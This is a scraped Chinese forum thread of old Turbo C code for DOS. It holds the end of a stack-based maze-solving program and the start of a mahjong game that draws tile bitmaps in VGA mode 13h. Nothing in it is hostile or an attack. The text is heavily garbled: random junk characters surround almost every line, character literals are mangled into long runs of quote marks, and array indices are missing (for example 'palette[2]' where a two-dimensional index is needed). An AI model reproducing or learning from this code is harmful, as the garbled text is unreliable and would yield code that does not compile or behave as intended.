2 X/ `3 e4 Z7 i/ wmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
. m' r% x. _) @" m1 rreturn TRUE;$ e  F9 s& @1 b5 }
else return FALSE;
6 b, V/ n2 Q2 ^8 x4 l4 g} /* Pass */- j" R. D8 Y9 t7 N4 d: T
void MarkPrint(PosType seat)
+ s, [, z; a( U# g  e0 O4 @4 w/* Mark the position seat. */& Y# J- a3 \5 h
{
* I0 c" _0 x) V9 x7 G+ qmaze[seat.x][seat.y].mark=-1;
  U- [/ ~+ q; j7 ^+ w8 q/ l$ l* |/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */* Z3 B# m+ [2 U  m$ E% d; n
} /* MarkPrint */5 J! o- f; u: Q- ^
void FootPrint(PosType curpos): [  j  e+ ~. B2 _
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */7 l4 N- X$ c& J6 E' d9 d0 ~
{
2 J$ Y8 j" o" V6 P5 Xmaze[curpos.x][curpos.y].foot=1;
, R# m7 [4 f- U+ n} /* FootPrint */
+ _5 q- G5 Y1 X# w+ K) `( _; zPosType NextPos(PosType seat,int di)
3 }/ p% Q6 s. w( v& Z{
- F2 V' v( s( ^- R0 h, Wswitch(di)
! ?' L; Y6 a5 r4 q$ a, R3 ?( L{
* R  E; ~1 D; I. [8 h* v" M+ E- Qcase 1: seat.y++; return seat; /* Eastward */
  |/ _% ?. ^, r* ]' ~; scase 2: seat.x++; return seat; /* Southward *// ]' e$ ]/ v0 |: t
case 3: seat.y--; return seat; /* Westward */; Z0 f, X( x: j3 P9 A: e( Q: B! b
case 4: seat.x--; return seat; /* Northward */
! d% h, R9 W, f) S1 Pdefault: seat.x=0; seat.y=0; return seat;4 h/ ?+ g, ]2 G3 H
}
6 {( M$ [5 K" L# o} /* NextPos */
8 U4 T1 i4 i$ p0 P& i  s: I) D/ S7 t& y8 D1 Q( p1 \4 }" E
/* The key to the program. */5 v) x) n4 ?! @0 L2 ]9 ~/ x: d
/* Pre: The maze array &amp; the startplace &amp; the endplace.
9 q  `4 D* G8 @; r0 L1 SPost: Find the one traverse of the maze and perform the mazepath.; p9 P, \) l0 H+ t% j% |
Uses: The ADT stack class., s7 |( e. I4 |+ V+ R: F% r2 u% z' m, j
*/5 ~! F7 T0 y  M/ V
Status MazePath(PosType start,PosType end)* c* H9 R2 F6 [" F
{8 h3 _% a3 g+ s2 Q* Z. Q( A
PosType curpos;* h: Z, f+ K, @& n% c( e5 ~+ R' X1 k
int curstep;
$ H- j0 I7 u6 d/ ~SElemType e;
6 L" V) O9 W6 |Stack *s,stack;
  l: B* [/ D- Ostack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
; f$ R- }0 P8 j* Z; Rif(!stack.base) Error("Overflow");) e6 b) m7 ~" q! S. R
stack.top=stack.base;7 u1 q! T" o" J4 [, I, o
stack.stacksize=STACK_INIT_SIZE;) C0 @) ?! J, U* R8 _/ k
s=&amp;stack;
' }, L( i  ]- b( k  }curpos=start;
% @  ^. V  Q" _0 I* }1 S' M$ tcurstep=1;1 Q3 G& G5 O3 D
do
6 f( |2 M8 H& y1 C  p{
2 R/ v8 I) M, Pif(Pass(curpos)). p9 Q; Z- ^" P' I( A# s; N+ o
{
# x6 J# n5 P/ M* P# W' \0 W$ G5 gFootPrint(curpos);# y+ e: |) u/ ~) b8 |/ i# z
e.ord=curstep; e.seat=curpos; e.di=1;( E+ r  j) v0 Z
gotoxy((curpos.y+1)*2,curpos.x+2);
! M$ Q0 L; n. K% F3 [putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
) S/ h/ c3 L0 W% a8 {4 m% wdelay(8000); /* pospone time. */9 S% W9 k0 R/ ^9 ]/ r% L+ U2 q8 |
Push(s,e);
8 f9 B: j0 [& h# Uif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. *// r4 S5 }' T8 T' G7 @3 O
{/ i- Y4 e% W" w+ S6 P
DestroyStack(s);# H/ \7 ]" S8 s+ l1 i: ~$ S0 B5 E
return TRUE;
: {9 w" U  K7 M}: K9 s7 F% F2 `5 b
curpos=NextPos(curpos,1); /* Try next position. */
7 l) W/ m# A" }; v. x4 U% icurstep++;
4 Z6 U: m) Y+ W- X7 M+ _}
! |) ]7 G* r6 T, y! f- Celse! U+ z) f7 u9 t# }) x: X* Z$ P7 K
{
3 p( |! B% ^; V' V% nif(!StackEmpty(s))
. q" Q$ C- ]/ m$ |{
6 s' Z# P- n' ^4 K' q; [e=Pop(s,e); /* Removed e from s. */
# `! L4 @8 C% Iwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked) X# {9 z1 A2 `8 t
and s is not empty. */% E1 v+ G+ D) V/ P/ q* t* h# {0 t
{
! d; B; ]9 G% Y' ~MarkPrint(e.seat);4 I1 {- q% n8 }) _/ r. o8 i2 K
gotoxy((e.seat.y+1)*2,e.seat.x+2);
2 @2 D, f% \2 m- Y" C' Q2 a/ Hputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
& A. r- m7 l  Ydelay(8000); /* Pospone time. */5 [: [& z2 C( D/ o: M4 z/ }3 O' \
gotoxy((e.seat.y+1)*2,e.seat.x+2);
8 B! [/ _3 t! Z& N4 p) K+ h* hputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');. {- H1 L( b3 b$ K4 Q
e=Pop(s,e); /* Remove e from s. */2 R  g+ H5 D& m/ C  }( b! E
curstep--;' {  i3 }# o  M
}
* s( `; a7 z7 d: Cif(e.di&lt;4) /* The current position hasnot been checked. */% I$ l, ~6 i0 G8 K/ \  {
{
# m/ p. c5 C; [" N  b8 s& ?# G, Ge.di++;' o2 x& F. y3 c
Push(s,e); /* Insert e into s. */2 x* n, M% j% y/ X% N2 D
curpos=NextPos(e.seat,e.di); /* Try next position. */# _1 K: t8 ]: H- S
}0 v- @' q  J, n, ?8 `0 |
}
# R! G6 j- G% L9 d}
) v" c7 K" B! v( S}
7 b# k4 Z! w' m) V9 Swhile(!StackEmpty(s));
2 R$ F4 [6 [; A5 cDestroyStack(s);  {/ P# Q+ V9 f/ U0 O& W( C
return FALSE;0 Z7 z8 z6 _- J) E( `( A9 z$ u
} /* MazePath */% m# k9 C, g( a2 f' W
void main()
' `8 C4 i& O$ m8 h{0 i5 I' }: J' R) ^4 Q* h
PosType start,end;
, J9 G: h$ [4 Z: z, R$ T! q+ e: oCreatMaze();! ~5 G2 i! k$ o) G5 I. n8 n
start.x=StartPlace.y;
3 I, A9 V1 }' K  Sstart.y=StartPlace.x;
+ V/ A' B2 t: {, w: P' Kend.x=EndPlace.y;
) Q3 M% w$ b0 o, P  S6 f- i& E8 Wend.y=EndPlace.x;3 I: R: X. L! o. [7 y# c, Z
if(MazePath(start,end))1 m6 s# K- D2 s, u6 f# _' M
{
3 l- b. g6 t* i( K8 z6 m; ugotoxy(2,22);
6 ^2 t5 d, D/ H$ N/ e  u/ \printf("ath found\n");
! y- y6 P1 a' i}& b4 ?* G; m  `$ `
else
3 M  d, ]. L3 k" y{6 `  o+ N  w& j
gotoxy(2,22);" `" K9 O, p& s9 h
printf("ath not found\n");
) p# R0 V. T4 y5 \}( S4 h0 c5 u' K1 M5 M; T. S
getch();
6 q1 V: e0 V' ]& T7 @4 |0 }* Q3 Aclrscr();' q8 S% l1 d, ]. e' x
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
" Y# [! ~0 F- s" u1 S/*天宇软件
" `5 q5 f7 X" P$ _作者:上海黑暗之龙
# ?' J8 v! Q% O4 D4 J& ?2002/10/303 j3 }) D1 f3 S. {; {( x
麻将原代码*/2 ]" F* e# y9 _4 V8 G; w
#include "dos.h"
4 R2 E1 a2 ?+ T$ Q#include "stdio.h"- g( _7 Q3 [( G2 ~2 ?+ p
#include "graphics.h"/ \8 e* \0 x& B; f/ r
#include "bios.h"
% m4 x6 J; b. j  ]2 ?4 _) Y#include "conio.h"% \" |  D) m$ t3 W4 }
#include "stdlib.h"
5 k  A3 |, X' g4 }* Munsigned char far *video_buffer=(char far *)0xA0000000L;
1 p8 w, \! n/ F8 Z#define VGA256 0x13 /*图形模式13h*/+ M; d; s$ z4 n" ]
#define TEXT_MODE 0x03 /*普通文本模式*/
0 H% X- R6 g$ t0 x! K' u#define SETVGA Set_Video_Mode(VGA256)
4 S6 C4 }& u6 o* C: }* j#define OUTVGA Set_Video_Mode(TEXT_MODE)
, D6 ~+ H3 I3 s#define BYTE unsigned char
  m& u$ F& j9 ^4 M& F# t#define WORD unsigned int
2 y" P* a' Y* Z#define DWORD unsigned int/ k5 h) [1 Q* C( k3 P5 }! @
#define ESC 283
! l, g, P- C2 `7 T- ~9 s' h, x#define LEFT 19200
- |' `9 ^0 A9 A0 e, i9 n#define RIGHT 19712
* N* l# y- f* C: X; f  e# M0 |0 h: `#define H 9064" l. P) P$ N3 _# |2 l* H% |
#define ENTER 71810 Z' v: |- N* p( @% A! V! Z
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;! H( b* f' p" l! `9 I3 E3 X7 h
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
" q- c4 x% K. H$ Q2 I  x( X- Z' ]: |struct chi
' K) d% p8 @' S6 Z{
% r/ p% a" ~4 B$ Q( L, d0 B4 G# |7 Lint lg;
2 u6 X, a) k% P; E$ k2 dint lgg;
* t* _7 l; n+ n  ?5 J2 p) |# l$ _}ch[13];
# c9 B% K4 z1 {1 c1 n" Jstruct mj% c/ {* T: u" k# D; u
{ char *name; /*名字*/+ D% K; c1 J: I6 y1 E
int data1; /*是否已出,无用了*/: U7 G. j+ E! S0 R8 L
int data2; /*是否在手中,1为自己,2为对方*/& X- E9 C: F  |3 v
int number; /*同一个花色的第几张,共4张*/9 Z0 K( ~* l  G( f
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
0 G) j! [, s  {4 T: t; g"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
8 z$ z$ b; `% B6 ^"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,$ c7 E. I; }# `- O# F0 [/ a
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
0 l1 V1 p* s( b) `( J"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,4 Y: k- q7 G+ y9 z
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,1 H& ?  A) [) f, m" U4 x, _: O3 w
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,5 V% {1 Z5 R( C* P
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
9 {+ A+ `5 k* E"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,& Z" Y4 I* P# k6 ?, A8 J
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,, j$ R8 ^4 o0 [& r8 {# t! ~" A
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,; @; i" y4 h) L9 K! D
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4," V+ U7 Z# M- O8 @) b! ?/ ~6 R
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
8 P$ M. m7 S/ K1 ?" o"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,5 D9 ]# v! B. w6 n9 W. R
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,' e8 E0 |2 Y0 h# V" A
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
: D! M2 I' ?: Z% G2 c& g. h"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
2 F3 L$ O+ y0 N8 i" Q" O$ p) {"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,7 x+ c) _2 ?6 L
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
7 P6 I  n) l7 o' n" O8 Y8 b4 o"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
# s# m/ i. r4 q% P; K- z9 i+ Y"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,( G# s- }2 T7 A0 m* V
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,) J: O) S9 d6 f
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,/ x4 E! S/ O3 ~2 D% j. i2 w
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,! K* o4 Q7 ^, g+ w! [
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
) S1 S' `% O4 B+ J! J. @4 i* l' K"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,& `8 z9 |3 _) F& H
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,; I$ N7 G5 K& H* B* v3 O+ T2 a
"34.bmp"};; l' b; }9 ]( K6 S& O' x" I6 j
struct every
6 X  C3 C2 B2 i9 v" B; e{ int *k; /*名字*/9 L# U4 D7 \2 Q/ m' t1 W6 k
int oneorfour; /*同一张牌的第几张*/$ i/ s; a3 V+ S- i
int number; /*第几张牌136*/
. H: l! ^- H+ i" A! h- L" lint p;
0 S9 H1 K7 \% o( B7 B+ W8 R2 `int g;
" O* }' ^/ T# c( T" [" W* `int c;5 d8 K5 S" R1 R& ]& l. U! q
int d[2];
" k0 Y. n1 p; ~9 Q8 ?};) p' m% q& t* Z+ u4 w! ]6 R2 n
struct me( f/ P. L( O- h  h5 I! T+ o
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
" U! u( P% w0 hint p; /*乓对方*/: E* h# t2 G! M" X- S- x* o
int c; /*吃对方*/
3 q, S6 h0 s: iint g; /*杠*/
% {3 [( V6 e: Z, X# }; r* {  N  {8 o! t5 f
struct every pp[14]; /*存放手上的牌*/0 v9 L* L, S2 T: y
}me;3 c# P# A6 B2 s' Y; o
struct computer
$ T# K1 d7 C4 g$ P' n0 s{ int m;$ Q/ z0 w$ p) x" g9 w
int p;
' d; z+ \5 r  A6 i9 b# Qint c;
7 z3 Z: X& t4 I5 Z' E5 dint g;: c+ l0 d. X5 c
struct every pp[14];- i6 _. _1 P" ?
}computer,comp;
2 @3 a) }: k( N! h0 D  n: R& {$ _/ W% n! q1 w
/* 设置调色板 */, N4 }1 j  L& s6 L5 z: R( s
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)5 \' {$ o7 O6 A, @6 v
{
  N5 Z! t) r* L) moutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
7 w$ \/ D6 S0 K* t6 |) V! b. _outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
+ p2 l& T9 y2 ]: _. _4 Coutportb(0x3c9,g);& @# H/ {8 k! J7 c0 K
outportb(0x3c9,b);
; q  q( x( V3 O6 w/ J; ~* i( T}% G; D3 y; Q( F
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
, ?$ t8 C' V. `" l/* 设置显示模式的函数 */; `) W- f% W8 d% {4 D
void Set_Video_Mode(int mode)
1 b) i; N7 p5 C1 Z3 l{! \+ }/ V, c5 Y) i( M
union REGS inregs,outregs; /*定义输入和返回寄存器*/
, N" n+ Q% ?+ \0 A8 |inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/6 \+ O& r- a* N2 p
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/0 [7 e% {/ s' ~1 P" ~0 h! h
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
- B' h. A  g0 E& p+ ^}0 X" _% h; ^" o: O8 o4 U! N
void v_line(int y0,int y1,int x,unsigned int color); w: `) l1 i( \" L
{ unsigned int address,n,temp;
. n4 l" b' f& @3 I/ c8 s+ |if(y0&gt;y1)% ^8 Y  Q" ~- S- D0 w
{! Z/ ]6 `; A9 h6 r- |" S
temp=y1;* C4 W+ h' X% w1 u
y1=y0;
/ f- X/ Z! ~! I7 h- H+ n  j- E* Ty0=temp;7 V1 d: d* k% L
}
( G5 W6 F- C3 X: \address=320*y0+x;
2 N* R+ d( l. a& N0 I8 W/ ffor(n=0;n&lt;=y1-y0;n++)
* W# i( J8 P, k{
: Q5 `; d/ o1 i( x8 I: J% lvideo_buffer[address]=color;  |$ l- s  T& F0 W2 \
address+=320;. ]0 D: {8 T( \& c, R: T
}7 j5 s5 T+ u* y  w9 g# Y4 |
}
" a% R! U8 G0 [/ fvoid h_line(int x0,int x1,int y,unsigned int color)3 z& R* q# x# k" q
{ unsigned int address,n,temp;& z. Q1 X2 A5 f% E- E: N5 h: X4 G
if(x0&gt;x1)* K% }& q/ o1 G: ~' s; Y
{& b% y" b+ h4 u4 S% v4 b& R
temp=x1;) P' h: |% Y! {' e% j3 h  ?
x1=x0;
2 Q& B- ~* ~* n6 Yx0=temp;$ {1 f1 ]5 Z3 L; O
}+ ]0 \' w9 o6 y( I, ^5 c% I
address=320*y+x0;- i& M- K) N! F
for(n=0;n&lt;=x1-x0;n++)
( ~# W( q2 J4 z" }{2 m5 ?! ^/ x" K1 l
video_buffer[address]=color;
9 y: _$ B" p5 M" c& x/ x7 vaddress+=1;
! J0 V3 h, O/ b* H9 g' v( R" K' L}: c- E* e2 ~" s' D5 v
}, O* _* S$ F3 h% l/ B
void p_pixel(int x,int y,unsigned int color)& @. d- a- g& y
{ video_buffer[y*320+x]=color;) L0 a* m. s2 W% {& l' `8 m3 U
}
3 @9 J: [* w3 Dvoid s_square(int x,int y,int side,int color)4 m0 ?  ~6 L  R+ w
{
. Z" [9 D9 z$ P, A; X1 z1 Sh_line(x,x+side,y,color);3 S3 S8 H  z. ~* h' [
h_line(x,x+side,y+side,color);
+ T" N( p* V% Jv_line(y,y+side,x,color);
: U$ Q" M9 h: |" f# Uv_line(y,y+side,x+side,color);1 [: l7 I4 ?! N2 O* T: ?
}
6 l3 ?; t" I9 ]% Ovoid r_rectangle(int x1,int y1,int x2,int y2,int color)$ @. k) e5 n0 E1 Y
{
! c5 ]* H; n) D- jh_line(x1,x2,y1,color);$ V& F8 W  [3 t
h_line(x1,x2,y2,color);# C0 P9 `. [3 L( y. e" g
v_line(y1,y2,x1,color);
% b1 P) W4 u2 s- Mv_line(y1,y2,x2,color);
( t7 T! a" C1 u. ^$ z7 M. y! d( O}  l" E$ H. q8 o
void fillRectangle(int x1,int y1,int x2,int y2,int color)) H3 x4 f. a  A+ D: ]& @
{: K: N) j. h; {, j
int i;9 @; y0 V: b9 C. \
for(i=y1;i&lt;=y2;i++)4 C& h- G8 K& O, [% @+ _- G- M) D5 B
{
; h3 n; h, p. a/ m6 kh_line(x1,x2,i,color);
$ \6 I$ d8 T8 m5 s}& |. K7 G. r" p2 n8 W4 M9 q
}4 M+ J2 Q5 M5 X7 X, S8 m
void showbmp(int l)
, X$ J# y9 f2 q/ a* u{ FILE *bmp;
7 [2 f0 N* H5 Yint i,x,y;
: x  z8 E6 ^1 X1 U8 A: KBYTE palette[256][3];# B2 j1 F2 h2 k# k# P0 Q
bmp=fopen(me.pp[l].k,"rb");% E+ v0 @3 p' p6 C( Q
fseek(bmp,54,SEEK_SET);5 R6 c4 }5 e( P
for(i=0;i&lt;256;i++)
7 K! e$ G: A- ?7 T, T{4 m/ t1 H' B6 |$ r& c; [# A7 G$ _( F
palette[2]=fgetc(bmp)&gt;&gt;2;% y; H$ O. b$ }( Y+ @# e/ Q
palette[1]=fgetc(bmp)&gt;&gt;2;, W$ \2 o1 ?' D( X) u' o3 q
palette[0]=fgetc(bmp)&gt;&gt;2;) ^* P; n0 J& p! Q" h5 U
fgetc(bmp);8 l* K1 i4 ]7 e/ Q. v
Set_Palette(i,palette[0],palette[1],palette[2]);
" d$ d3 Y! A' v+ A* i}  Y4 w5 l( U4 I
for (y=0;y&lt;30;y++). ^) I% G* B. f8 B  l+ `
for(x=0;x&lt;20;x++)
- a, V% C! U5 C# ]: w* Cpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
7 e* e# e5 k  X$ V, T3 afclose(bmp);
+ U  Q: P5 H4 u; k3 D}7 A; [* S0 F3 X9 P% T% |, ~& T
void showbmpd(int l)
. ~$ t. G9 _! ^, y: d4 R2 c{ FILE *bmp;
, ]+ _5 Y/ O9 s  |  x* o+ aint i,x,y;+ ]  i5 g4 v1 s
BYTE palette[256][3];
) d8 X, r" V! n2 U9 o+ cbmp=fopen(me.pp[l].k,"rb");
8 p# `& v0 z: {fseek(bmp,54,SEEK_SET);
( n$ O$ D, H* Cfor(i=0;i&lt;256;i++)/ e8 n9 V/ P; p! X
{% {2 o- J+ `/ \6 ~- k; }
palette[2]=fgetc(bmp)&gt;&gt;2;/ x- L+ r. ?. x/ `7 S) E- d
palette[1]=fgetc(bmp)&gt;&gt;2;, P6 R7 h* j: k# Z
palette[0]=fgetc(bmp)&gt;&gt;2;8 U# y8 F7 L2 ~1 R& b
fgetc(bmp);$ D* B7 Z3 P  F, q$ K) {
Set_Palette(i,palette[0],palette[1],palette[2]);
( R2 b+ Z, n; X}( T1 g3 M8 B& u3 I4 j
for (y=0;y&lt;30;y++)! Y& v- q6 U; x4 g, p9 k
for(x=0;x&lt;20;x++)
# S' q6 A) X) g7 X8 ]% Z. `. e  Fpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
  @3 R/ p" M$ s0 l  B( C5 vfclose(bmp);, k* f3 ^( O+ ?! g" [
}
2 g/ I( G0 t  Wvoid showybmp(int ll), ?* I) M! V0 `: }1 @) |
{ FILE *bmp;
1 Q7 ]( n+ v* i6 gint i,x,y;
! {8 E( ?  z  V: mBYTE palette[256][3];
1 r9 ?* _: q; y& V. nbmp=fopen(computer.pp[ll].k,"rb");1 C1 y+ }8 P8 t/ F' ]3 J- S4 w
fseek(bmp,54,SEEK_SET);
. r9 R% S% g) p& g5 n5 T4 o+ Bfor(i=0;i&lt;256;i++)
% E: |+ W9 D4 U8 K0 }" [{& R( |2 e% u  u
palette[2]=fgetc(bmp)&gt;&gt;2;
" D2 v$ h9 q& N1 l1 W2 Apalette[1]=fgetc(bmp)&gt;&gt;2;
/ p# W: u+ ~% r& V- m' hpalette[0]=fgetc(bmp)&gt;&gt;2;5 E0 `/ v! x6 ^" @
fgetc(bmp);6 ~4 B- }; I; @# }
Set_Palette(i,palette[0],palette[1],palette[2]);
0 o4 J# `3 e: G9 D, d# N}
& p! R1 k3 h0 n) ~for (y=0;y&lt;30;y++)
4 N7 Y1 Q% [' e; m# @% }for(x=0;x&lt;20;x++)
) }. Z' _! R. K. k5 c$ y1 Mpokeb(0xa000,y*320+x+zy,fgetc(bmp));* E5 S. P0 I# k6 L2 v
fclose(bmp);' Q4 U% Y" q6 F! Y0 b' ]( ?
}& a) s% |) M5 A7 X2 W- @
void showcbmp(int ll)* Z5 s, G/ R0 [# F) a+ |
{ FILE *bmp;: \0 e9 S" V) d- F5 O9 u& o
int i,x,y;" B5 w' e0 {! [4 M4 J0 s& L/ l
BYTE palette[256][3];: M( q9 z! I/ j( z- ^# D
bmp=fopen(computer.pp[ll].k,"rb");
1 d$ D+ K0 C, p: o3 L% C2 Yfseek(bmp,54,SEEK_SET);
8 M0 \  ~5 ^1 N3 Efor(i=0;i&lt;256;i++)3 T3 A9 d. V8 i. M
{+ S- l  Y. o/ f. D4 ^$ ~( @/ k6 D
palette[2]=fgetc(bmp)&gt;&gt;2;
% E1 p, ~) {) q) V$ ?palette[1]=fgetc(bmp)&gt;&gt;2;/ H' L6 T, a$ |' F& r+ I
palette[0]=fgetc(bmp)&gt;&gt;2;+ P- w1 V3 X' L! I
fgetc(bmp);7 L9 B% d! g. G6 k* P* n
Set_Palette(i,palette[0],palette[1],palette[2]);$ O$ f7 d0 q/ S' Q0 c. M
}) a1 h0 l- s; q2 ~
for (y=0;y&lt;30;y++)
! o8 K( H2 g, J% |, C9 Q! Yfor(x=0;x&lt;20;x++)
$ q5 o1 t4 h4 C, u7 ypokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 g/ w: k# i4 R9 ]fclose(bmp);3 m4 r  ~/ n6 b% ]9 ]( C% k' K
}
( G. e& b/ \  L- I& a! |void bmpp(int number)
" W/ I$ C+ v6 G{ FILE *bmp;" H7 ?  H7 n$ Y
int i,x,y;+ w& C% G$ g4 ?  z4 o0 r' A/ d: N
BYTE palette[256][3];- i+ h5 @+ o% R; C
bmp=fopen(m[number].name,"rb");6 d+ ?( G* Y" h* m
fseek(bmp,54,SEEK_SET);
7 c' Q7 |6 @8 V3 A* Sfor(i=0;i&lt;256;i++)% v3 {% l7 \% g  J5 Y
{6 `5 J: _( a! K9 L/ f
palette[2]=fgetc(bmp)&gt;&gt;2;
; O: p/ x7 ]0 _& t4 Tpalette[1]=fgetc(bmp)&gt;&gt;2;+ A( @* M# }# u3 ]$ b6 ]
palette[0]=fgetc(bmp)&gt;&gt;2;
# n8 ?2 n! w$ e1 H" b2 hfgetc(bmp);
8 T4 q# x) g$ P7 v3 [Set_Palette(i,palette[0],palette[1],palette[2]);
2 X& U2 W% Z5 h  B}  W  d' h/ B9 W7 U, d) a1 k
for (y=0;y&lt;30;y++)
! {; n5 Z1 W. p6 ufor(x=0;x&lt;20;x++)6 u5 }9 j1 x2 K9 G- G! v- _6 r
pokeb(0xa000,y*320+x+zl,fgetc(bmp));: _( J( }- S( {+ y- n0 {
fclose(bmp);& }" V8 E. _9 ~5 k3 y! e7 o
}! o# F: m% u4 ^9 u5 {+ ]6 l1 @
void comlipai() /*整理电脑的牌*/$ E7 p, \9 j% D. o* h  Q" M
{ int n,j,u;
" `4 w! k5 V+ D' S+ rint *lingshi;
: @5 c1 f- _5 l0 sfor(n=0;n&lt;computer.m;n++)
' ]/ m, C, g, V4 i- J, d6 yfor(j=n;j&lt;computer.m;j++)
2 B3 {/ w1 w* k8 q" x3 X* Q% S) K) f{
! D2 \# S7 x  h6 H4 Pif(computer.pp[n].number&gt;computer.pp[j+1].number): y; }4 j1 g: x0 h0 z% u
{
6 |2 Y# f/ c7 h0 Olingshi=computer.pp[n].k;
; E, o5 l3 @& F) I; [1 d. e" [computer.pp[n].k=computer.pp[j+1].k;/ n8 I- }" s1 O3 k1 d
computer.pp[j+1].k=lingshi;% _, I7 i' R* R" I
u=computer.pp[n].oneorfour;5 \2 v( g, w( j  X1 O
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;! i8 T5 t/ r& L* [2 S. i5 V
computer.pp[j+1].oneorfour=u;& Q+ k) ~; k3 Y/ ?6 k
u=computer.pp[n].number;
# w3 [/ v0 b. @9 K" P: Zcomputer.pp[n].number=computer.pp[j+1].number;, F5 i; J% C3 V% ^, l5 \! Q
computer.pp[j+1].number=u;# Z  e, k' v0 U
}
, u! I( [2 _* h; s: Xelse# o* E$ z) h  D5 Y# i2 \. V9 r! t8 d# _
if(computer.pp[n].number==computer.pp[j+1].number)* y: ^% {0 L( }& D- R8 P1 E
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)+ u5 b9 G0 x! i, x- M1 n
{
" m, F+ ~7 j* P9 jlingshi=computer.pp[n].k;
0 G2 _+ _* m( `. Ycomputer.pp[n].k=computer.pp[j+1].k;
9 M! |) |, t/ C% @$ b, Lcomputer.pp[j+1].k=lingshi;
3 J8 M6 \' d) i4 i8 @: I8 vu=computer.pp[n].oneorfour;: R$ S; ?; C% v, A8 l& P
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;. ^! |0 F3 v+ A' X9 F2 g
computer.pp[j+1].oneorfour=u;
3 i0 h& H# P# w2 \u=computer.pp[n].number;2 T2 a( e8 ?! @& G
computer.pp[n].number=computer.pp[j+1].number;
